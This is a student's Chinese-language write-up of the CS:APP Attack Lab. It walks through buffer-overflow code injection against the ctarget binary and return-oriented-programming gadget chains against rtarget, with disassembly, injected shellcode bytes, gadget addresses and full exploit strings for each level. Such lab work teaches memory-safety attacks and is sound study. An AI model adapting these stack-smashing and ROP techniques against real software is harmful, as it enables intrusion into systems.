You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 
 
 
 

18 KiB

Attack Lab

10225501432 邓博昊 target66

ctarget

使用gdb ctarget调试程序

使用disass <function>获得<function>的汇编代码

使用r -i {phase_i_raw}带入exploit string运行程序

Level 1

ctarget程序被调用时,执行test函数,test函数调用getbuf函数

我们需要将getbuf函数在返回时重定向到touch1而非继续回到test函数

1)查看testtouch1函数C代码

先贴出题干所给函数代码

void test()
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

void touch1() {
    vlevel = 1;
    printf("Touch!: You called touch1()\n");
    validate(1);
    exit(0);
}

2)查看getbuftouch1函数汇编代码

获取getbuftouch1函数汇编代码

Dump of assembler code for function getbuf:
   0x0000555555401a65 <+0>:	sub    $0x18,%rsp
   0x0000555555401a69 <+4>:	mov    %rsp,%rdi
   0x0000555555401a6c <+7>:	call   0x555555401d05 <Gets>
   0x0000555555401a71 <+12>:	mov    $0x1,%eax
   0x0000555555401a76 <+17>:	add    $0x18,%rsp
   0x0000555555401a7a <+21>:	ret    
End of assembler dump.
Dump of assembler code for function touch1:
   0x0000555555401a7b <+0>:	sub    $0x8,%rsp
   0x0000555555401a7f <+4>:	movl   $0x1,0x203953(%rip)        # 0x5555556053dc <vlevel>
   0x0000555555401a89 <+14>:	lea    0x1967(%rip),%rdi        # 0x5555554033f7
   0x0000555555401a90 <+21>:	call   0x555555400e10 <puts@plt>
   0x0000555555401a95 <+26>:	mov    $0x1,%edi
   0x0000555555401a9a <+31>:	call   0x555555401f75 <validate>
   0x0000555555401a9f <+36>:	mov    $0x0,%edi
   0x0000555555401aa4 <+41>:	call   0x555555400f80 <exit@plt>
End of assembler dump.

getbuf函数开辟了24个字节的栈空间

3)构建攻击字符串

我们目前可以知道的:

  • 运行环境为AMD64 Linux,使用小端法,内存低位储存低位字节数

  • 栈的生长方向向内存低位生长

  • getbuf函数ret地址为%rsp+0x18

  • touch1函数入口为0x0000555555401a7b

我们需要构建一个字符串,其需要满足的条件:

  • 改变getbuf函数ret时返回地址,使其变为0x0000555555401a7b

  • 数字需要的字节数为24+8 = 32

  • 符合小端法

字符串数据按输入顺序从低地址向高地址存储数据

无意义的字符均用0表示,我们需要构建的字符串即为

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
7b 1a 40 55 55 55 00 00

将上述字符串存入phase_1.txt

4)将字符串转化为字节码并运行程序

输入以下命令即可完成touch1

./hex2raw < phase_1.txt > phase_1_raw.txt
gdb ctarget
r -i phase_1_raw.txt

Level 2

任务要求ctarget程序执行touch2函数,而非返回test函数

1)查看touch2函数C代码

题干所给touch2函数C代码如下

void touch2(unsigned val){
    vlevel = 2;  /* Part of validation protocol */
    if (val == cookie){
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

touch2函数要求传入一个参数val,只有valcookie值相同程序才执行成功

2)查看touch2函数汇编代码

touch函数汇编代码如下

Dump of assembler code for function touch2:
   0x0000555555401aa9 <+0>:	sub    $0x8,%rsp
   0x0000555555401aad <+4>:	mov    %edi,%edx
   0x0000555555401aaf <+6>:	movl   $0x2,0x203923(%rip)        # 0x5555556053dc <vlevel>
   0x0000555555401ab9 <+16>:	cmp    %edi,0x203925(%rip)        # 0x5555556053e4 <cookie>
   0x0000555555401abf <+22>:	je     0x555555401aeb <touch2+66>
   0x0000555555401ac1 <+24>:	lea    0x1980(%rip),%rsi        # 0x555555403448
   0x0000555555401ac8 <+31>:	mov    $0x1,%edi
   0x0000555555401acd <+36>:	mov    $0x0,%eax
   0x0000555555401ad2 <+41>:	call   0x555555400f30 <__printf_chk@plt>
   0x0000555555401ad7 <+46>:	mov    $0x2,%edi
   0x0000555555401adc <+51>:	call   0x555555402045 <fail>
   0x0000555555401ae1 <+56>:	mov    $0x0,%edi
   0x0000555555401ae6 <+61>:	call   0x555555400f80 <exit@plt>
   0x0000555555401aeb <+66>:	lea    0x192e(%rip),%rsi        # 0x555555403420
   0x0000555555401af2 <+73>:	mov    $0x1,%edi
   0x0000555555401af7 <+78>:	mov    $0x0,%eax
   0x0000555555401afc <+83>:	call   0x555555400f30 <__printf_chk@plt>
   0x0000555555401b01 <+88>:	mov    $0x2,%edi
   0x0000555555401b06 <+93>:	call   0x555555401f75 <validate>
   0x0000555555401b0b <+98>:	jmp    0x555555401ae1 <touch2+56>
End of assembler dump.

touch2函数入口地址为0x0000555555401aa9

3)构建汇编代码

实验给出的建议:

  • 使用ret指令调用touch2函数
  • touch2的参数要存在rdi寄存器中
  • 插入的代码应该设置寄存器存着Cookie,然后再返回touch2
  • 不用jmp和call指令
  • 使用gcc和objdump生成要插入代码的字节码格式

我的cookie = 0x3e8dee8f

则我们需要构建的汇编代码应该为

movq $0x3e8dee8f,%rdi
movq $0x0000555555401aa9,%rsi  # 存储touch2入口地址
push %rsi
ret

将上述代码存储在phase_2_assembly.s

4)获得机械码

使用如下命令生成并反编译获得机械码

gcc -c phase_2_assembly.s -o phase_2_assembly.o
objdump -d phase_2_assembly.o > phase_2_assembly.d

打开phase_2_assembly.d

Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 8f ee 8d 3e 	mov    $0x3e8dee8f,%rdi
   7:	48 be a9 1a 40 55 55 	movabs $0x555555401aa9,%rsi
   e:	55 00 00 
  11:	56                   	push   %rsi
  12:	c3                   	ret 

则这段程序机械码为

48 c7 c7 8f ee 8d 3e 48 be a9 1a 40 55 55 55 00 00 56 c3

5)构建攻击字符串

思路为:

  • getbuff函数获取攻击字符串
  • 字符串使得getbuff函数返回至buff数组起点
  • buff数组起点按顺序储存机械码
  • 程序按照储存的机械码执行我们设计好的汇编指令

因此我们需要查看buff数组起点的内存地址,即%rsp储存的内容

由Level 1中getbuf函数汇编代码可知,getbuf函数入口为0x0000555555401a65

使用如下命令:

gdb ctarget
b *0x0000555555401a65
r -qi phase_1_raw.txt
stepi
p &rsp

输出:

$1 = (void *) 0x55621b58

故构建如下字符串

48 c7 c7 8f ee 8d 3e 48
be a9 1a 40 55 55 55 00
00 56 c3 00 00 00 00 00
58 1b 62 55 00 00 00 00

将上述字符串储存在phase_2.txt

6)将字符串转化为字节码并运行程序

输入以下命令即可完成touch2

./hex2raw < phase_2.txt > phase_2_raw.txt
gdb ctarget
r -i phase_2_raw.txt

Level 3

任务要求ctarget程序执行touch3函数,而非返回test函数

注意touch3函数内部调用了hexmatch函数

1)查看touch3hexmatch函数C代码

int hexmatch(unsigned val, char *sval){
    char cbuf[110];
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval){
    vlevel = 3;
    if (hexmatch(cookie, sval)){
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

hexmatch需要传入cookie值,并且需要将cookie值以字符串形式传入

2)查看testtouch3函数汇编代码

Dump of assembler code for function test:
   0x0000555555401c32 <+0>:	sub    $0x8,%rsp
   0x0000555555401c36 <+4>:	mov    $0x0,%eax
   0x0000555555401c3b <+9>:	call   0x555555401a65 <getbuf>
   0x0000555555401c40 <+14>:	mov    %eax,%edx
   0x0000555555401c42 <+16>:	lea    0x1877(%rip),%rsi        # 0x5555554034c0
   0x0000555555401c49 <+23>:	mov    $0x1,%edi
   0x0000555555401c4e <+28>:	mov    $0x0,%eax
   0x0000555555401c53 <+33>:	call   0x555555400f30 <__printf_chk@plt>
   0x0000555555401c58 <+38>:	add    $0x8,%rsp
   0x0000555555401c5c <+42>:	ret    
End of assembler dump.
Dump of assembler code for function touch3:
   0x0000555555401bc0 <+0>:	push   %rbx
   0x0000555555401bc1 <+1>:	mov    %rdi,%rbx
   0x0000555555401bc4 <+4>:	movl   $0x3,0x20380e(%rip)        # 0x5555556053dc <vlevel>
   0x0000555555401bce <+14>:	mov    %rdi,%rsi
   0x0000555555401bd1 <+17>:	mov    0x20380d(%rip),%edi        # 0x5555556053e4 <cookie>
   0x0000555555401bd7 <+23>:	call   0x555555401b0d <hexmatch>
   0x0000555555401bdc <+28>:	test   %eax,%eax
   0x0000555555401bde <+30>:	je     0x555555401c0d <touch3+77>
   0x0000555555401be0 <+32>:	mov    %rbx,%rdx
   0x0000555555401be3 <+35>:	lea    0x1886(%rip),%rsi        # 0x555555403470
   0x0000555555401bea <+42>:	mov    $0x1,%edi
   0x0000555555401bef <+47>:	mov    $0x0,%eax
   0x0000555555401bf4 <+52>:	call   0x555555400f30 <__printf_chk@plt>
   0x0000555555401bf9 <+57>:	mov    $0x3,%edi
   0x0000555555401bfe <+62>:	call   0x555555401f75 <validate>
   0x0000555555401c03 <+67>:	mov    $0x0,%edi
   0x0000555555401c08 <+72>:	call   0x555555400f80 <exit@plt>
   0x0000555555401c0d <+77>:	mov    %rbx,%rdx
   0x0000555555401c10 <+80>:	lea    0x1881(%rip),%rsi        # 0x555555403498
   0x0000555555401c17 <+87>:	mov    $0x1,%edi
   0x0000555555401c1c <+92>:	mov    $0x0,%eax
   0x0000555555401c21 <+97>:	call   0x555555400f30 <__printf_chk@plt>
   0x0000555555401c26 <+102>:	mov    $0x3,%edi
   0x0000555555401c2b <+107>:	call   0x555555402045 <fail>
   0x0000555555401c30 <+112>:	jmp    0x555555401c03 <touch3+67>
End of assembler dump.

可以看出:

  • test函数入口为0x0000555555401c32
  • touch3函数入口为0x0000555555401bc0

3)构建汇编代码

阅读题干所给提示:

  • 需要一个字符串表示cookie值,不需要表示开头0x
  • 在C语言中字符串是以\0结尾,所以在字符串序列的结尾是一个字节0
  • man ascii 可以用来查看每个字符的16进制表示
  • 需要在%rdi寄存器内储存字符串的地址
  • 当调用hexmatchstrncmp时,他们会把数据压入到栈中,有可能会覆盖getbuf栈帧的数据,所以传进去字符串的位置必须小心谨慎

因此汇编代码设计思路为:

  • 将字符串写入到不容易被覆盖的test函数栈空间,将该地址送入%rdi寄存器
  • 压入含touch3入口地址的寄存器
  • ret返回

注意cookie值需要转化为16进制ASCII码表示后使用

根据题目提示0x不需要表示,并且字符串结尾为0字节,则对应ASCII码表示为

0x3e8dee8f >> 33 65 38 64 65 65 38 66 00

我们还需要知道test函数栈帧地址

输入以下命令查看

gdb ctarget
b *0x0000555555401c32 # test函数入口
r -qi phase_1_raw.txt
stepi
p $rsp

结果显示

$1 = (void *) 0x55621b78

因此我们需要构建的汇编代码为

movq $0x55621b78,%rdi
movq $0x0000555555401bc0,%rdx
push %rdx
ret

将上述内容储存在phase_3_assembly.s

4)获得机械码

输入以下命令获得机械码

gcc -c phase_3_assembly.s -o phase_3_assembly.o
objdump -d phase_3_assembly.o > phase_3_assembly.d

打开phase_3_assembly.d

Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 78 1b 62 55 	mov    $0x55621b78,%rdi
   7:	48 ba c0 1b 40 55 55 	movabs $0x555555401bc0,%rdx
   e:	55 00 00 
  11:	52                   	push   %rdx
  12:	c3                   	ret    

则机械码为

48 c7 c7 78 1b 62 55 48 ba c0 1b 40 55 55 55 00 00 52 c3

5)构建攻击字符串

思路为:

  • getbuff函数获取攻击字符串
  • 字符串足够长,使得cookie的16进制值储存在test栈空间
  • 字符串使得getbuff函数返回至buff数组起点
  • buff数组起点按顺序储存机械码
  • 程序按照储存的机械码执行我们设计好的汇编指令

buff数组起点的内存地址由Level 2可知为0x55621b58

故构建如下字符串

48 c7 c7 78 1b 62 55 48
ba c0 1b 40 55 55 55 00
00 52 c3 00 00 00 00 00
58 1b 62 55 00 00 00 00
33 65 38 64 65 65 38 66
00

将上述字符串储存在phase_3.txt

6)将字符串转化为字节码并运行程序

输入以下命令即可完成touch3

./hex2raw < phase_3.txt > phase_3_raw.txt
gdb ctarget
r -i phase_3_raw.txt

rtarget

题干所给信息翻译如下:

这一部分攻击rtarget程序,但是这个程序使用了两种技术防止代码注入攻击:

  • 每次栈的位置是随机的,于是我们没有办法确定需要跳转的地址
  • 即使我们能够找到规律注入代码,但是栈是不可执行的,一旦执行,则会遇到段错误

所以只能利用已有的可执行的代码,来完成我们的操作,称为retrun-oriented programming(ROP),策略就是找到现存代码中的若干条指令,这些指令后面跟着指令ret,每次return相当于从一个gadget跳转到另一个gadget中,然后通过这样不断跳转来完成我们想要的操作。

使用如下命令获得farm.c的反汇编

gcc -c -Og farm.c
objdump -d farm.o > farm.d

Level 2

这一关要求我们重复上一部分Level 2的攻击,但是无法对rtarget进行代码注入攻击,我们只能使用ROP攻击:利用farm.c中的程序的gadget,构造我们需要的指令,在rtarget中执行

1)选取gadgets

阅读题目提示:

  • 我们利用的gadget是从startfarm到midfarm之间的
  • 只需要两个gadget
  • 当使用popq指令时,你的exploit string中必须含有一个地址和data

因此我们需要的汇编指令为

popq %rax
movq %rax,%rdi

对应的编码为

popq %rax > 58
movq %rax,%rdi > 48 89 c7

popq %rax对应函数为

Dump of assembler code for function getval_373:
   0x0000555555401c70 <+0>:	b8 d3 f5 c2 58	mov    $0x58c2f5d3,%eax
   0x0000555555401c75 <+5>:	c3	ret    
End of assembler dump. 

我们得出popq %rax指令的地址为0x0000555555401c70+0x4 =0x0000555555401c74

movq %rax,%rdi对应函数为

Dump of assembler code for function getval_424:
   0x0000555555401c84 <+0>:	b8 48 89 c7 c3	mov    $0xc3c78948,%eax
   0x0000555555401c89 <+5>:	c3	ret    
End of assembler dump.

我们得出movq %rax,%rdi指令的地址为0x0000555555401c84+0x1 =0x0000555555401c85

反汇编得touch2函数入口为0x0000555555401aa9

2)构建攻击字符串

需要使用的地址

0x0000555555401aa9 # touch2函数入口地址
0x0000555555401c85 # 48 89 c7 movq %rax, %rdi
0x3e8dee8f # cookie
0x0000555555401c74 # 58 popq %rax

构建的phase_4.txt如下

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
74 1c 40 55 55 55 00 00
8f ee 8d 3e 00 00 00 00
85 1c 40 55 55 55 00 00
a9 1a 40 55 55 55 00 00

3)将字符串转化为字节码并运行程序

输入以下命令即可完成touch2

./hex2raw < phase_4.txt > phase_4_raw.txt
gdb rtarget
r -i phase_4_raw.txt

Level 3

这一关要求我们重复上一部分Level 3的攻击,使用ROP攻击的形式。

1)选取gadgets

阅读题目提示:

  • 建议查看movl指令对4字节以上操作的影响
  • 官方解决方法用了8个gadgets

ctarget level 3可知,cookie的ASCII字符串表示为

0x3e8dee8f >> 33 65 38 64 65 65 38 66 00

因为栈地址随机,因此需要找到基准地址,此处选取%rsp

具体操作:

  • 把%rsp里的栈指针地址放到%rdi
  • 拿到bias的值放到%rsi
  • 利用add xy,把栈指针地址和bias加起来放到%rax,再传到%rdi
  • 调用touch3

因此我们需要的汇编指令为

movq %rsp,%rax
movq %rax,%rdi
popq %rax
movl %eax,%edx
movl %edx,%ecx
movl %ecx,%esi
lea (%rdi,%rsi,1),%rax
movq %rax,%rdi

对应的编码、函数、地址为

movq %rsp,%rax > 48 89 e0 > addval_101 > 0x0000555555401cb3
movq %rax,%rdi > 48 89 c7 > setval_417 > 0x0000555555401c8c
popq %rax > 58 > getval_373 > 0x0000555555401c74
movl %eax,%edx > 89 c2 > addval_467 > 0x0000555555401ca5
movl %edx,%ecx > 89 d1 > setval_191 > 0x0000555555401cac
movl %ecx,%esi > 89 ce > setval_422 > 0x0000555555401cd5
lea (%rdi,%rsi,1),%rax > 48 8d 04 37 > add_xy > 0x0000555555401c9e
movq %rax,%rdi > 48 89 c7 > getval_424 > 0x0000555555401c85

2)构建攻击字符串

需要使用的地址

0x0000555555401cb3 # movq %rsp,%rax
0x0000555555401c8c # movq %rax,%rdi
0x0000555555401c74 # popq %rax
0x48 # bias = 9*8-->0x48
0x0000555555401ca5 # movl %eax,%edx
0x0000555555401cac # movl %edx,%ecx
0x0000555555401cd5 # movl %ecx,%esi
0x0000555555401c9e # lea (%rdi,%rsi,1),%rax
0x0000555555401c85 # movq %rax,%rdi
0x0000555555401bc0 # touch3
0x3365386465653866 # hex cookie string

构建的攻击字符串为

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b3 1c 40 55 55 55 00 00
8c 1c 40 55 55 55 00 00
74 1c 40 55 55 55 00 00
48 00 00 00 00 00 00 00
a5 1c 40 55 55 55 00 00
ac 1c 40 55 55 55 00 00
d5 1c 40 55 55 55 00 00
9e 1c 40 55 55 55 00 00
85 1c 40 55 55 55 00 00
c0 1b 40 55 55 55 00 00
33 65 38 64 65 65 38 66

保存为phase_5.txt

3)将字符串转化为字节码并运行程序

输入以下命令即可完成`touch23

./hex2raw < phase_5.txt > phase_5_raw.txt
gdb rtarget
r -i phase_5_raw.txt